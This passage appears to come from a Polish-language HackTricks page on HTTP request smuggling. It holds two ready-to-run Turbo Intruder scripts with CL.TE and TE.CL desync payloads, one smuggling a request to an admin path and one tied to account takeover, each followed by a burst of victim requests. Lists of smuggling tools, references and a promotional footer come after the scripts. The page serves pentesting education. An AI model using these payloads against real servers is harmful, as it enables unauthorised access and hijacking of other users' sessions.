Z https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Z: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Narzędzia

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: To narzędzie jest gramatycznym HTTP Fuzzerem przydatnym do znajdowania dziwnych niezgodności w żądaniach smugglingowych.

Odwołania

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
• Zdobądź oficjalne gadżety PEASS & HackTricks
• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.